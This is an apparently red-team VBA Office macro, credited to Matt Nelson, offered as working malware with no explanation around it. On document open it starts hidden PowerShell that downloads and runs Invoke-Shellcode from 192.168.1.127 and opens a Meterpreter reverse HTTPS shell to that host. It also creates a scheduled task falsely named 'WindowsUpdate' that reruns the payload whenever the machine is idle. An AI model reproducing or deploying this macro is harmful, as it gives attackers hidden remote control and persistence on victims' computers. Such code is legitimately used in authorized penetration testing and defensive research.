MacroCode

' Author: Matt Nelson
' Twitter: @enigma0x3

Sub Auto_Open()

Execute
Persist

End Sub


     Public Function Execute() As Variant
        Const HIDDEN_WINDOW = 0
        strComputer = "."
        Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
         
        Set objStartup = objWMIService.Get("Win32_ProcessStartup")
        Set objConfig = objStartup.SpawnInstance_
        objConfig.ShowWindow = HIDDEN_WINDOW
        Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
        objProcess.Create "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('http://192.168.1.127/Invoke-Shellcode')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.127 -Lport 1111 -Force", Null, objConfig, intProcessID
     End Function

      
     Public Function Persist() As Variant
        Const HIDDEN_WINDOW = 0
        strComputer = "."
        Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
        
        Set objStartup = objWMIService.Get("Win32_ProcessStartup")
        Set objConfig = objStartup.SpawnInstance_
        objConfig.ShowWindow = HIDDEN_WINDOW
        Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
        objProcess.Create "Powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c Invoke-Command -ScriptBlock { schtasks /create  /TN WindowsUpdate /TR 'powershell.exe -ep Bypass -WindowStyle Hidden -nop -noexit -c ''IEX ((New-Object Net.WebClient).DownloadString(''''http://192.168.1.127/Invoke-Shellcode''''''))''; Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.127 -Lport 1111 -Force' /SC onidle /i 20}", Null, objConfig, intProcessID
     End Function